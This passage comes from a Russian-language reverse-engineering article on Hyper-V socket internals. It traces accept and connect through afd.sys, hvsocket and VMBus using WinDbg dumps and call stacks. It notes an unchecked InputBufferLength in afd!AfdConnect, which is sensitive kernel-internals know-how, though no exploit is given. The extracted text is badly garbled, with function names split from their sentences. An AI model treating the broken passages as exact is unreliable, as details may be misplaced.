__WINDBG>!mex.foreachitem @rax ‐c__
ffffda8527f6b8c0
fffff803db337530
ffffda8527dfeeb0
ffffda8527dfedd0
ffffda8527dfeca0
Processed 5 items.

,    срав нива ется  с  0xA,
если боль ше или рав но, то вызыва ется   и 

.

Nt!IoGetCurrentProcess afd!AfdEndpointsFreeing
afd!AfdReuseEndpoint ExRelease‐

ResourceAndLeaveCriticalRegion
Зна комый  вызов  ,  затем 

  (все  тот же  103),  затем  ,  воз вра щаем ся
из  , фун кция  , затем

 и пос ле это го  .

zafd!AfdTLCreateEndpoint afd!AfdTLPend‐
Request AfdCompleteTLEndpCreate

AfdCreate nt_SeClearLearningModeObjectInformation
SeSetLearningModeObjectInformation ObpCreateHandle

Но мер  дес крип тора  сле дующий:  0x148.  Получа ем  два  сокета  (фор маль‐ 
но — объ екты типа «файл»):

0144: Object: ffffda8529a9bcf0  GrantedAccess: 0016019f (Audit) Entry
: ffffca8985cb1510
Object: ffffda8529a9bcf0  Type: (ffffda852718cb00) File
   ObjectHeader: ffffda8529a9bcc0 (new version)
       HandleCount: 1 PointerCount: 32761
       Directory Object: 00000000  Name: \Endpoint {Afd}
0148: Object: ffffda8529acc6d0  GrantedAccess: 0016019f (Inherit) 
Entry: ffffca8985cb1520
Object: ffffda8529acc6d0  Type: (ffffda852718cb00) File
   ObjectHeader: ffffda8529acc6a0 (new version)
       HandleCount: 1 PointerCount: 2
       Directory Object: 00000000  Name: \Endpoint {Afd}

Пос ле воз вра та видим наш дес крип тор:

WINDBG>dc 00F6F4A4
00f6f4a4  00000148

Да лее сно ва вызыва ется

NTSTATUS WINAPI NtDeviceIoControlFile(
 _In_  HANDLE           FileHandle, ‐ 144 File  (‐‐‐)   \Device\Afd)
 _In_  HANDLE           Event, ‐ 140 (Event)
 _In_  PIO_APC_ROUTINE  ApcRoutine, 0
 _In_  PVOID            ApcContext, 0
 _Out_ PIO_STATUS_BLOCK IoStatusBlock, 00F6F5D0
 _In_  ULONG            IoControlCode, 00012010 (afd!AfdAccept)
 _In_  PVOID            InputBuffer, 00F6F5D8
 _In_  ULONG            InputBufferLength,0xС
 _Out_ PVOID            OutputBuffer, 0
 _In_  ULONG            OutputBufferLength 0

);
WINDBG>dd 00F6F5D8
00f6f5d8  00000000 00000001 00000148 00000000

Пе рехо дим в  :  , затем выпол няет ся 
  (в  качес тве Handle —  148),  затем  в  rax  заг ружа ется

ссыл ка на   (0FFFFDA 8527DE29D0h):

afd!AfdAccept IoIs32bitProcess ObRef‐
erenceObjectByHandle

AfdDeviceObject

WINDBG>!devobj 0FFFFDA8527DE29D0h
Device object (ffffda8527de29d0) is for:
Afd \Driver\AFD DriverObject ffffda8527de19c0

Current Irp 00000000 RefCount 85 Type 00000011 Flags 00000050
Dacl ffffcb8a7e8ccd11 DevExt 00000000 DevObjExt ffffda8527de2b20 
ExtensionFlags (0x00000800)  DOE_DEFAULT_SD_PRESENT
Characteristics (0x00020000)  FILE_DEVICE_ALLOW_APPCONTAINER_TR
AVERSAL
Device queue is not busy.

и поле по  сме щению +8h  в  нашей струк туре  _AFD_CONNECTION срав нива‐ 
ется  с  AfdDeviceObject.  Идет  вызов  ,
затем  . В rax фун кция воз вра щает:

nt!KeAcquireInStackQueuedSpinLock
afd!AfdGetReturnedConnection

__WINDBG>dc @rax__
ffffda85`298e7ac0  0002afd8 00061000 28bf3e40 ffffda85  ........@>.(
....
ffffda85`298e7ad0  28fa1180 ffffda85 db95c080 fffff803  ...(
............
ffffda85`298e7ae0  27121080 ffffda85 17d0e6d1 00000019  ...
'............

За тем   (пер вый параметр — IRP)afd!AfdAcceptCore

__WINDBG>dd @rdx__
ffffda85`29b80860  0002afd0 01000000 00000100 00000000
ffffda85`29b80870  297cf380 ffffda85 db95c048 fffff803
__WINDBG>dd @r8__
ffffda85`298e7ac0  0002afd8 00061000 28bf3e40 ffffda85
ffffda85`298e7ad0  28fa1180 ffffda85 db95c080 fffff803

Продолжение статьи →
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Внут ри  фун кции:  ,  затем
  (вызыва ется  толь ко

), затем 
,  воз врат  в  :  ,

затем    и  ,  отку да  вызыва ется
, а из нее 

,  которая ста вит в оче редь вызов 
  через 

.  Затем  фун кция 
воз вра щает  103h.  Затем  вызыва ется  ,
в которой спер ва про веря ется зна чение перемен ной   (рав‐ 
ное  нулю  в  нашем  слу чае).  Может  быть  выз вана 

. Воз вра щаем ся в  , вызыва ется 
 и  , выходим из  .

KeAcquireInStackQueuedSpinLockAtDpcLevel
afd!AfdSetupAcceptEndpoint
imp_ExFreePoolWithTag _KeReleaseInStackQueuedSpinLockFromD‐
pcLevel afd!AfdAccept KeReleaseInStackQueuedSpinLock

AfdDerefTLBaseEndpoint AfdTLCloseEndpoint
hvsocket! VmbusTlCommonProviderCloseEndpoint hvsocket!Vm‐
busTlQueueEndpointAction hvsocket!Vm‐
busTlEndpointActionWorkQueueRoutine netio!  NetioInsertWork‐
Queue hvsocket!  VmbusTlCommonProviderCloseEndpoint

afd!AfdTlDereferenceTransport
WskTdiTransport

netio!NmrClientDetach‐
ProviderComplete afd!AfdAccept ObfDeref‐
erenceObject IofCompleteRequest afd.sys

Че рез какое‐то вре мя выпол нится пос тавлен ная в оче редь 
. Из нее вызыва ется 

, из которой вызыва ется 
 (видим вызов DbgPrint при некото ром усло вии с сооб щени ем

'Failed to close TLI endpoint! Status=%lx, AFD endp=%p',0Ah,0 — в ядре Windows
ред ко такое встре тишь, обыч но исполь зует ся WPP). Но в нашем слу чае усло‐ 
вие  (вто рой  параметр  не  равен  нулю)  не  сра баты вает,  поэто му  идем далее
в  ,  воз вра щаем ся  в  hvsocket,  затем
выпол няет ся  , а в ней  

  и    (для объ екта про цесс Server‐
Example.exe), идет работа с перемен ной  :

hvsocket!Vm‐
busTlEndpointActionWorkQueueRoutine hvsocket!Vm‐
busTlCommonEndpointCleanup afd!AfdTLCloseEnd‐
pointComplete

afd!AfdDereferenceEndpointInline
hvsocket!VmbusTlEndpointDestructor

PsReturnPoolQuota ObfDereferenceObject
VmbusProviderContext

__WINDBG>dps VmbusProviderContext__
fffff803`db95e0b8  ffffda85`27f6ba80
fffff803`db95e0c0  00000000`00000000
fffff803`db95e0c8  00000000`00000000
fffff803`db95e0d0  00000000`00000000
fffff803`db95e0d8  00000000`00000000
fffff803`db95e0e0  00000000`00040001
fffff803`db95e0e8  00000000`00000000
fffff803`db95e0f0  00000000`00000000
fffff803`db95e0f8  00000000`00000000
fffff803`db95e100  ffffda85`27f2c0b0
fffff803`db95e108  ffffda85`27f2c0b0
fffff803`db95e110  00000000`00000000
fffff803`db95e118  00000000`00000000
fffff803`db95e120  00000000`00000000
fffff803`db95e128  fffff803`db95c260 hvsocket!WPP_ThisDir_CTL
GUID_HvSocketTraceGuid
fffff803`db95e130  00000000`00000000
__WINDBG>dps 0FFFFDA8527F6BA80__
ffffda85`27f6ba80  00000000`00000006
ffffda85`27f6ba88  00000000`00000009
ffffda85`27f6ba90  00000000`00000001
ffffda85`27f6ba98  00000000`00000000
ffffda85`27f6baa0  00000000`00000000
ffffda85`27f6baa8  00000000`00060001
ffffda85`27f6bab0  ffffda85`27f6bab0
ffffda85`27f6bab8  ffffda85`27f6bab0
ffffda85`27f6bac0  00000000`00000000
ffffda85`27f6bac8  00000000`00000000
ffffda85`27f6bad0  fffff803`db951e50 hvsocket!HvSocketProvide
rDestructor
ffffda85`27f6bad8  00000000`00000001
ffffda85`27f6bae0  ffffda85`27f6b9a0
ffffda85`27f6bae8  ffffda85`27f6b8c0
ffffda85`27f6baf0  fffff803`db32d160 afd!AfdTlClientDispatch
ffffda85`27f6baf8  00000000`00000001

В  оче редь  через    ста вит ся 
, воз вра щаем ся из 

 в   и далее в ядро Windows.

netio!NetioInsertWorkQueue hvsocket!Vmbus‐
TlEndpointWorkQueueDestructor hvsocket!VmbusTlEnd‐
pointDestructor netio!NetioInsertWorkQueue

Тем вре менем мы вер нулись в  , идем далее, вызыва‐ 
ется  .  Перехо дим  в 

.

mswsock!WSAAccept
mswsock!SockNotifyHelperDll mswsock!SockCoreAc‐

cept
Три раза  вызыва ется  ,  затем 

,  затем 
.

wshhyperv!WSHGetSocketInformation wsh‐
hyperv!WSHGetSocketInformation mswsock!SockUpdateWindow‐
Sizes

Вы зыва ется  , из которо го сно ва вызыва ется
:

mswsock!SockGetTdiHandles
ntdll!NtDeviceIoControlFile

NTSTATUS WINAPI NtDeviceIoControlFile(
 _In_  HANDLE           FileHandle, ‐ 148 File  (‐‐‐)   \Device\Afd)
 _In_  HANDLE           Event, ‐ 140 (Event)
 _In_  PIO_APC_ROUTINE  ApcRoutine, 0
 _In_  PVOID            ApcContext, 0
 _Out_ PIO_STATUS_BLOCK IoStatusBlock, 00F6F424
 _In_  ULONG            IoControlCode, 00012037 (afd!AfdAccept)
 _In_  PVOID            InputBuffer, 00F6F5D8
 _In_  ULONG            InputBufferLength,0xС
 _Out_ PVOID            OutputBuffer, 0
 _In_  ULONG            OutputBufferLength 0

);

Connect
Сер вер готов при нимать вхо дящие под клю чения, так что теперь рас смот рим
вызов connect, выпол няемый из кли ента.

Из  ClientExample!Connect  идет  вызов  ,  затем
  (в  качес тве  дес крип тора  переда‐ 

ется  144  —  handle  \Device\Afd).  Далее  вызыва ется  ,
из  которой  идет  вызов  ,  потом  вызыва ется

, сле дом — 
  (воз вра щает  ),

затем  ,  отку да  вызыва ется 
.

ws2_32!Prolog_v2
ws2_32!WahReferenceContextByHandle

mswsock!WSPConnect
mswsock!SockDoConnect

mswsock!SOCK_SQM_INFO_CAPTURE__NonCore_WSAConnect wshhy‐
perv!WSHGetWildcardSockaddr wshhyperv!HV_GUID_ZERO

mswsock!WSPBind wshhyperv!WSHGetSockaddr‐
Type

__WINDBG>k — странно видеть вызов bind из функции connect, но что 
есть, то есть__
ChildEBP RetAddr  
0036f478 7203873c ntdll!NtDeviceIoControlFile
0036f530 7204dab6 mswsock!WSPBind+0x1cc
0036f5c0 7204e3af mswsock!SockDoConnect+0x2c0
0036f5dc 75de4d76 mswsock!WSPConnect+0x1f
0036f62c 002611df WS2_32!connect+0x86

В  input‐буфер  до  вызова    (с  IOCTL  12003)
из  .

NtDeviceIOControlFile
mswsock!WSPBind

__WINDBG>dc 007D4930 007D4930+28__
007d4930  00000002 baad0022 00000000 00000000  
007d4940  00000000 00000000 00000000 00000000 
007d4950  00000000 00000000

Пос ле вызова.

Воз вра щаем ся из  .mswsock!WSPBind
Да лее  , из которой вызыва ется 

.
mswsock!SockDoConnectReal ntdll!NtDe‐

viceIoControlFile

NTSTATUS WINAPI NtDeviceIoControlFile(
 _In_  HANDLE           FileHandle, ‐ 144 File  (‐‐‐)   \Device\Afd)
 _In_  HANDLE           Event, ‐ 140 (Event)
 _In_  PIO_APC_ROUTINE  ApcRoutine, 0
 _In_  PVOID            ApcContext, 0
 _Out_ PIO_STATUS_BLOCK IoStatusBlock, 0036F4C0
 _In_  ULONG            IoControlCode, 00012007 (afd!AfdConnect)
 _In_  PVOID            InputBuffer, 0036F4E8
 _In_  ULONG            InputBufferLength,30
 _Out_ PVOID            OutputBuffer, 0
 _In_  ULONG            OutputBufferLength 0

);
__0:000> k__
# ChildEBP RetAddr  
00 00cff670 7232df2b ntdll!NtDeviceIoControlFile
01 00cff724 7232dc08 mswsock!SockDoConnectReal+0x2c6
02 00cff7b0 7232e3af mswsock!SockDoConnect+0x412
03 00cff7cc 75ae4d76 mswsock!WSPConnect+0x1f
04 00cff81c 009711df WS2_32!connect+0x86

__WINDBG>dtx _GUID 0036F4E8+10__
(*((_GUID *)0x36f4f8)) : {A42E7CDA‐D03F‐480C‐9CC2‐A4DE20ABB878} [Type
: _GUID] — HV_GUID_PARENT
   [<Raw View>]     [Type: _GUID]
__WINDBG>dtx _GUID 0036F4E8+20__
(*((_GUID *)0x36f508)) : {B1D00D3E‐FE10‐4570‐AD62‐7648779D7A1B} [Type
: _GUID] — GUID, ранее созданный нами в реестре
   [<Raw View>]     [Type: _GUID]

Пе рехо дим  в  ядро  в  фун кцию  .  Спер ва  про верим,  был  ли
выз ван  сер вис  из  32‐  или  64‐бит ного  про цес са  ( ).
Затем  срав нива ется  раз мер  кус ка  передан ного  буфера  (начиная  с  0x22)
с    (рав ной  1Ch).  Раз мер  этой  струк туры
равен 24h, поэто му идет выделе ние пула ( )
в 24h байт и  копиро вание в него передан ного буфера. Что инте рес но,  вер‐ 
хняя  гра ница  InputBufferLength  никак  не  кон тро лиру ется,  и  мы  из  usermode
можем  передать  любой  раз мер  буфера,  который,  за  вычетом  0xC,  будет
передан фун кции  .

afd!AfdConnect
nt!IoIs32bitProcess

AfdStandardAddressLength
ExAllocatePoolWithTagPriority

ExAllocatePoolWithTagPriority
Да лее  вызыва ется  SOCKADDR_SIZE  —  фун кция,  которая  на  осно вании

номера про токо ла получа ет из мас сива допус тимый раз мер адре са.

Да лее  пос ле мно гочис ленных  про верок  вызыва ется 
  (в  rcx  ука затель  на  эле мент  струк туры  ).

Количес тво  эле мен тов  такой  струк туры  мож но  прос мотреть  через  рас‐ 
ширение mex:

afd!AfdCreateConnec‐
tion afd!AfdTlTransportListHead

__WINDBG>!mex.foreachitem afd!AfdTlTransportListHead ‐c__
fffff80535407530
ffffc80e74a37bf0
ffffc80e74814b10
ffffc80e742a9400
ffffc80e742a9320
Processed 5 items.

Из  нее  вызыва ется  ,  в  которой  идет  работа
с  перемен ной  .  Далее  обну ляет ся  область  памяти,  раз‐ 
мером  100h,  вызыва ется    —  начина ет  фор‐ 
мировать ся новая струк тура _AFD_CONNECTION, в поле «тип» записы вает ся
AFD 8.

nt!PsChargeProcessPoolQuota
PplConnectionPool

ExpInterlockedPopEntrySList

Да лее  ,  затем  ,  где
в  качес тве  объ екта  —  про цесс  ClientExample.exe. 
и   заг ружа ются соот ветс твен но в +90h и +94h сме щения
струк туры. Идет про вер ка esi (туда заг ружен тре тий параметр 

), если равен нулю, то вызыва ется  , одна ко в нашем
слу чае равен еди нице. Воз вра щаем ся из  . Вызыва ется

  (в  качес тве  пер вого  парамет ра  —  ука затель
на  струк туру  _AFD_CONNECTION),  уста нав лива ется  в  еди ницу  бит  10h  этой
струк туры и уве личи вает ся на еди ницу бит 30h, затем 

  (сбра сыва ется  3ch+8  бит  и  обну ляет ся  DWORD  по  сме‐ 
щению  18Ch  этой  же  струк туры).  Далее  выпол няют ся 

 (воз вра щает либо адрес про цеду ры 
,  либо, если седь мой байт _AFD_CONNECTION равен 10h, — 

) и  .

AfdTimerWheelInitializeEntry ObfReferenceObject
AfdReceiveWindowSize

AfdSendWindowSize
AfdCreateCon‐

nection nt!IoCreateFile
AfdCreateConnection

AfdAddConnectedReference

AfdEnableFailedCon‐
nectEvent

AfdGetEndpointCon‐
nectDispatch AfdTlClientConnectDis‐
patch AfdRio‐
TlClientConnectDispatch AfdRefTLBaseEndpoint

За тем  вызыва ется  .  Внут ри  вызыва‐ 
ются    и 

 (в rdx переда ется струк тура с дву мя GUID’ами, ука зан ными
в  парамет рах  сокета  от  при ложе ния ClientExample,  про веря ется  кор рек тное
зна чение Address Family — 0x22 и передан ных GUID’ов, соз дан ли сер вис 

).

hvsocket!VmbusTIProviderConnect
hvsocket!VmbusTlEndpointIsPrivileged hvsocket!VmbusTlVali‐

dateSockAddress

hv‐
socket!VmbusTlIsServiceEnabled

В    вызыва ется 
, находя щая GUID сер виса в спис ке, сфор мирован ном

на осно вании зна чений в реес тре:

hvsocket!VmbusTlIsServiceEnabled hvsocket!VmbusTl‐
FindOrCreateService

__WINDBG>!mex.foreachitem @rdx ‐x "dt nt!_GUID @#Item+10"__
Item #1 @ 0xffffaf89af0af750
nt!_GUID
{999e53d4‐3d5c‐4c3e‐8779‐bed06ec056e1}

Item #2 @ 0xffffaf89adac0200
nt!_GUID
{a5201c21‐2770‐4c11‐a68e‐f182edb29220}

Item #3 @ 0xffffaf89ade0c870
nt!_GUID
{acef5661‐84a1‐4e44‐856b‐6245e69f4620}

Item #4 @ 0xffffaf89adc6a960
nt!_GUID
{b1d00d3e‐fe10‐4570‐ad62‐7648779d7a1b}

Item #5 @ 0xffffaf89ad8ddc20
nt!_GUID
{b1d00d3e‐fe10‐4570‐ad62‐7648779d7a1c}

Item #6 @ 0xffffaf89ad90bcd8
nt!_GUID
{00000000‐0000‐0000‐0000‐000000000000}

Item #7 @ 0xffffaf89adbc1590
nt!_GUID
{7fdfd0ea‐cea8‐4576‐92d6‐e072ddd2c422}

Внут ри  фун кции  идет  вызов  ,
параметр переда ется через xmm 0, в который заг ружа ется GUID вир туаль ной
машины, получен ный через Get‐VM ‐Name $VMName.Id.

hvsocket!VmbusTlResolvePartitionId

В  фун кции    передан ный
GUID срав нива ется с извес тны ми GUID’ами  (child partition,  zero, parent parti‐
tion). При сов падении в rdi воз вра щает ся тот же GUID.

hvsocket!VmbusTlFindAndReferencePartition

__WINDBG>dc @rbx__
ffff8907`0a21b5a0  00000004 00000000 00000002 00000000  
................
ffff8907`0a21b5b0  00000001 00000000 00000000 00000000  
................
ffff8907`0a21b5c0  00000000 00000000 00060001 00000000  
................
ffff8907`0a21b5d0  0a21b5d0 ffff8907 0a21b5d0 ffff8907  ..!.......!
.....
ffff8907`0a21b5e0  00000000 00000000 00000000 00000000  
................
lea     rbx, [rcx‐0D8h]
mov     rax, [rbx+0E8h]
cmp     rax, [rdx]
__WINDBG>dt _GUID @rbx+e8h__
combase!_GUID
{90db8b89‐0d35‐4f79‐8ce9‐49ea0ac8b7cd} ‐ HV_GUID_CHILDREN

__WINDBG>dt _GUID @rbx+e8h__
combase!_GUID
{a42e7cda‐d03f‐480c‐9cc2‐a4de20abb878} ‐ HV_GUID_PARENT

Фун кция  не  находит  GUID  и  воз вра щает  0,  что,  в  свою  оче редь,  при водит
к ошиб ке 0C0000141.

__WINDBG>!error 0C0000141__
Error code: (NTSTATUS) 0xc0000141 (3221225793) ‐ The address handle 
given to the transport was invalid.

За тем  вызыва ется    → 
 → 

.

hvsocket!VmbusTlCreateConnection hvsocket!Vm‐
busTlCreateEndpoint hvsocket! VmbusTlCreateObjectFromLookaside‐
List

До вызова фун кции

__WINDBG>!mex.foreachitem @r8 ‐c__
Mex External 3.0.0.7172 Loaded!
ffffdc00c33555a8
Processed 1 items.
WINDBG>!mex.foreachitem ffffdc00c33555a8 ‐c
ffffdc00c33555a8
ffffc80e75920830
    Processed 2 items.

За тем  ини циали зиру ются  Work  Queue 
  (через  ).  Воз вра‐ 

щаем ся из  . Далее ини циали зиру ются два
DPC:   и 

  (выпол няет ся  так же  ини циали зация  тай‐ 
мера, но в оче редь пока не ста вит ся). Воз вра щаем ся из 

 в  .

hvsocket!VmbusTlEndpointAction‐
WorkQueueRoutine netio!NetioInitializeWorkQueue

hvsocket!VmbusTlCreateEndpoint
hvsocket!VmbusTlConnectTimeoutDpc hvsocket!VmbusTlOpposite‐

EndpointDisconnectTimeoutDpc
hvsocket!VmbusTl‐

CreateConnection hvsocket!VmbusTIProviderConnect
Да лее  идет  вызов    (под робно  рас‐ 

смат ривалась ранее в раз деле Bind). Затем вызыва ется 
. Парамет ры:

hvsocket!VmbusTlContainerGetVmId
hvsocket!VmbusTl‐

AssociateConnectionToPartition

__WINDBG>r xmm1:ud__
xmm1=78b8ab20 dea4c29c 480cd03f a42e7cda
__WINDBG>r xmm0:ud__
xmm0=cdb7c80a ea49e98c 4f790d35 90db8b89

За тем идет вызов    (вто рой параметр —
тот  самый  эле мент  LIST_ENTRY,  соз данный  фун кци ей 

),  из  которой  вызыва ется 
  (в  ранее  соз данную  AVL‐таб лицу  добав ляет ся

один эле мент, до вызова фун кции таб лица пус тая).

hvsocket!VmbusTlSetupConnection
hvsocket!  VmbusTl‐

CreateObjectFromLookasideList hvsocket!Vm‐
busTlSetObjectCancellable

Да лее —  , отку да вызыва‐ 
ется    (в  нашем  слу чае  работа  шла
с  HV_GUID_ZERO,  но  если  передан ный  GUID  отли чает ся,  то  вызыва ется

  и  ),  затем  вызыва ется
,  и  треть им  парамет ром  переда ется  GUID  соз‐ 

данно го нами сер виса:

hvsocket!VmbusTlXPartChildSetupConnection
hvsocket!VmbusTlSetupConnectionId

nt!ExUuidCreate hvsocket!VmbusTlSetEndpointId
vmbus!ChTlConnectRequest

__WINDBG>dtx _GUID @r8 ‐r__
(*((_GUID *)0xffffdc00c3355550)) : {B1D00D3E‐FE10‐4570‐AD62‐7648779

D7A1B} [Type: _GUID]
(если функция вернет ноль, то далее будет возвращена ошибка 0C000009A
)

Да лее вызыва ется   → 
  (сво дит ся к вызову   и обну‐ 

лению выделен ной памяти) и начина ется уже при выч ная работа с шиной VM‐
Bus, опи сан ная в пре дыду щих стать ях ( ,  , 

).

vmbus!ChAllocateSendMessageSized vmbus!XPartAl‐
locateSendMessage nt!ExAllocatePoolWithTag

часть 1 часть 2 вер сия, адап тирован‐ 
ная под Win 2016

Ес ли   выпол нилась успешноvmbus!ChAllocateSendMessageSized

__WINDBG>kc__
Call Site
vmbus!ChAllocateSendMessageSized
vmbus!ChTlConnectRequest
hvsocket!VmbusTlXPartChildSetupConnection
hvsocket!VmbusTlSetupConnection
hvsocket!VmbusTlProviderConnect
afd!AfdConnect

и пул был выделен, то выпол няет ся vmbus!ChSendMessage

__WINDBG>dc @rdx — второй параметр vmbus!ChSendMessage__
ffffc80e`758d8ba8 00000015 00000000 00000000 00000000 ...............
.
ffffc80e`758d8bb8 00000000 00000000 b1d00d3e 4570fe10 ........>.....
pE
ffffc80e`758d8bc8 487662ad 1b7a9d77
__WINDBG>kc__
Call Site
winhv!WinHvPostMessage
vmbus!PncSendMessage
vmbus!XpartSendMessage (jmp from vmbus!ChSendMessage)
vmbus!ChTlConnectRequest
hvsocket!VmbusTlXPartChildSetupConnection
hvsocket!VmbusTlSetupConnection
hvsocket!VmbusTlProviderConnect
afd!AfdConnect

Идет вызов winhv!WinHvPostMessage

Rcx = 1
Rdx = 1
R9 = 0x28
__WINDBG>dc @r8 @r8+28 — тело сообщения__
ffffa60d`d4eaebb8 00000015 00000000 00000000 00000000 ...............
.
ffffa60d`d4eaebc8 00000000 00000000 b1d00d3e 4570fe10 ........>.....
pE
ffffa60d`d4eaebd8 487662ad 1b7a9d77

Пе ред вызовом   (ссы лает ся на vmcall)winhv!WinHvpHypercallRoutine

Rcx = 0x5c
Rdx = 0
R8 = 23a9000
R9 = 0
__WINDBG>!dd @rdx__
# 62af000 00000001 3ba2286a 00000001 00000028
# 62af010 00000015 00000000 00000000 00000000
# 62af020 00000000 00000000 b1d00d3e 4570fe10
# 62af030 487662ad 1b7a9d77 00000000 00000000
0x15 — CHANNELMSG_TL_CONNECT_REQUEST
0x28 — размер передаваемого сообщения

Со обще ние отправ лено,  воз вра щаем ся в 
.  Вызыва ется    →

.  Воз вра щаем ся  в 
,  далее  вызыва ется 

 (сво дит ся к вызову nt!KeSetTimer, в качес тве DPC ука зыва ется 
). Воз вра щаем ся в  , в eax —

103h,  поэто му  далее  вызыва ется    и 
 ( , 
).

hvsocket!VmbusTlXPartChildSe‐
tupConnection hvsocket!VmbusTlPendConnect
hvsocket!VmbusTlPendConnectLocked hvsocket!Vmbus‐
TlSetupConnection hvsocket!VmbusTlConnectQueue‐
Timer hvsock‐
et!VmbusTlConnectTimeoutDpc afd!AfdConnect

afd!AfdTLPendRequest afd!AfdTLCon‐
nectComplete2 afd!AfdCloseConnection afd!AfdFinishConnect+nt!Iof‐
CompleteRequest

Вы ход  из  .  Гос тевая  ОС  отпра вила  сооб щение.  Отдель но  рас‐ 
смот рим,  каким  обра зом  обра баты вает ся  сооб щение,  отправ ленное  через
VMBus. Как извес тно из пре дыду щих иссле дова ний, все сооб щения, отправ‐ 
ляемые  через  гипер вызов  ,  про ходят  обра бот ку  в 

.

afd.sys

hvix!HvPostMessage vm‐
bus! ChReceiveChannelMessage

Ста вим bp на ука зан ную фун кцию в root ОС, запус каем ServerExample.exe
в  root  ОС,  ClientExample.exe  в  гос тевой  ОС,  оста нав лива емся.  В  rdx  наше
сооб щение:

__WINDBG>dc @rdx__
ffffbf01`7b2379f0 00000015 00000000 00000000 00000000 ...............
.
ffffbf01`7b237a00 00000000 00000000 b1d00d3e 4570fe10 ........>.....
pE
ffffbf01`7b237a10 487662ad 1b7a9d77

Про ходит  валида ция  сооб щения,  в  rax  заг ружа ется  ука затель
на  .  Выделя ется  буфер
(Vnpi  tag)  раз мером  48h,  вызыва ется 
с  парамет ром  .
На этом обра бот ка завер шает ся.

hvsocket!HvSocketProviderConnectNotification
netio!NetioInsertWorkQueue

hvsocket!VmbusTlConnectRequestWorkQueueRoutine

Пос тавим  bp  на 
в  root  OS,  переза пус тим  кли ент ское  при ложе ние.  Про изой дет  оста нов ка.
Перехо дим  на  ,  в  rcx
ука затель на три извес тных нам GUID’а.

hvsocket!VmbusTlConnectRequestWorkQueueRoutine

hvsocket!VmbusTlProcessConnectRequestWorkItem

__WINDBG>dc @rcx__
ffffae08`c1bbb880 6a964317 4a741d87 a646f9ab 0089049b — VM GUID
ffffae08`c1bbb890 b1d00d3e 4570fe10 487662ad 1b7a9d77 — Service GUID
ffffae08`c1bbb8a0 00000000 00000000 00000000 00000000 — HV_GUID_ZERO

За тем  вызыва ется    со  вто‐ 
рым парамет ром HV_GUID_CHILDREN,  затем 

,  пос ле  чего    (воз вра щает
еди ницу).

hvsocket!VmbusTlFindAndReferencePartition
hvsocket!VmbusTlFindOrCre‐

ateService hvsocket!VmbusTlIsServiceEnabled

Вы пол няет ся  про вер ка  треть его  GUID’а  на  равенс тво  HV_GUID_ZERO,
про ходит успешно, вызыва ется  , получа ем GUID:nt!ExUuidCreate

__WINDBG>r xmm0:ud__
xmm0=01cf5129 0c00cd83 11e745c8 da36f003

За тем  вызыва ется  .  Далее 
,  из  которой  вызыва‐ 

ется    (получа ем эле мент
из AVL‐дерева), затем   и 

,
.

hvsocket!VmbusTlProcessNewConnection hv‐
socket!VmbusTlProcessNewConnectionForListener

hvsocket!VmbusTlGetPartitionListenerEndpoint
hvsocket!VmbusTlCreateConnection hvsocket!Vm‐

busTlAssociateConnectionToPartition
hvsocket!VmbusTlSetEndpointId

Да лее — hvsocket!VmbusTlInsertObjectToTable

__WINDBG>dt nt!_RTL_AVL_TABLE ffffae08bfb058a0__
+0x000 BalancedRoot : _RTL_BALANCED_LINKS
+0x020 OrderedPointer : (null) 
+0x028 WhichOrderedElement : 0
+0x02c NumberGenericTableElements : 2
+0x030 DepthOfTree : 2
+0x038 RestartKey : (null) 
+0x040 DeleteCount : 2
+0x048 CompareRoutine : 0xfffff804`602d16c0 _RTL_GENERIC_COMPARE_RES
ULTS hvsocket!VmbusTlCompareGuids+0
+0x050 AllocateRoutine : 0xfffff804`602d1db0 void* hvsocket!VmbusT
lAllocateForAvlTable+0
+0x058 FreeRoutine : 0xfffff804`602d1dd0 void hvsocket!VmbusT
lFreeForAvlTable+0
+0x060 TableContext : 0x00000000`6e6f4350 Void

Пос ле  это го  —    и 
, 

.

hvsocket!VmbusTlSetObjectCancellable hvsocket!Vm‐
busTlPendConnect hvsocket!VmbusTlListenerProcessPendingIncoming‐
Connection

Воз вра щаем ся в  . В root ОС при этомNETIO!NetiopIoWorkItemRoutine

__kd> kcn__
# Call Site

00 winhvr!WinHvPostMessage
01 vmbusr!PncSendMessage
02 vmbusr!XPartSendMessage
03 vmbusr!ChSendOfferMessageLocked
04 vmbusr!ChOfferChannel
05 vmbusr!RootIoctlChannelOffered
06 vmbusr!RootIoctlDispatch
07 vmbusr!RootDeviceControl
……………..WDF stuff
11 vmbusr!RootIoctlDeviceControlPreprocess
……………  WDF stuff
16 vmbkmclr!KmclpSynchronousIoControl
17 vmbkmclr!KmclpServerOfferChannel
18 vmbkmclr!VmbChannelEnable
19 vmbusr!PipeStartChannel
1a vmbusr!PipeOffer
1b hvsocket!VmbusTlXPartRootSetupConnection
1c hvsocket!VmbusTlSetupConnection
1d hvsocket!VmbusTlXPartAcceptConnection
1e hvsocket!VmbusTlListenerProcessPendingIncomingConnection
1f hvsocket!VmbusTlProcessNewConnectionForListener
20 hvsocket!VmbusTlProcessNewConnection
21 hvsocket!VmbusTlProcessConnectRequestWorkItem
22 hvsocket!VmbusTlConnectRequestWorkQueueRoutine
23 NETIO!NetiopIoWorkItemRoutine
24 nt!IopProcessWorkItem
25 nt!ExpWorkerThread
26 nt!PspSystemThreadStartup
27 nt!KiStartSystemThread
__kd> dc @r8 @r8+@r9 — сообщение:__
ffffda85`292c7f30  00000001 00000000 b1d00d3e 4570fe10  ........>....
.pE
ffffda85`292c7f40  487662ad 1b7a9d77 0ec85988 11e74d2f  .bvHw.z..Y../
M..
ffffda85`292c7f50  0c00d483 01cf5129 00000000 00000000  ....)Q
..........
ffffda85`292c7f60  00000000 00000000 00002011 00000000  ......... 
......
ffffda85`292c7f70  00000000 00000000 00000000 00000000  
................
ffffda85`292c7f80  00000000 00000000 00000000 00000000  
................
ffffda85`292c7f90  00000000 00000000 00000000 00000000  
................
ffffda85`292c7fa0  00000000 00000000 00000000 00000000  
................
ffffda85`292c7fb0  00000000 00000000 00000000 00000000  
................
ffffda85`292c7fc0  00000000 00000000 00000000 00000000  
................
ffffda85`292c7fd0  00000000 00000000 00000000 00000000  
................
ffffda85`292c7fe0  00000000 00000000 0000000b 000100ff  
................
ffffda85`292c7ff0  0001000b 004e0079

Продолжение статьи →

https://xakep.ru/2014/11/24/research-hyper-v
https://xakep.ru/2015/01/05/hyper-v-research-part-2
http://hvinternals.blogspot.com/2015/10/hyper-v-internals.html
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SOCKETS INTERNALS

ИССЛЕДУЕМ ВНУТРЕННИЕ
МЕХАНИЗМЫ РАБОТЫ СОКЕТОВ

HYPER‐V

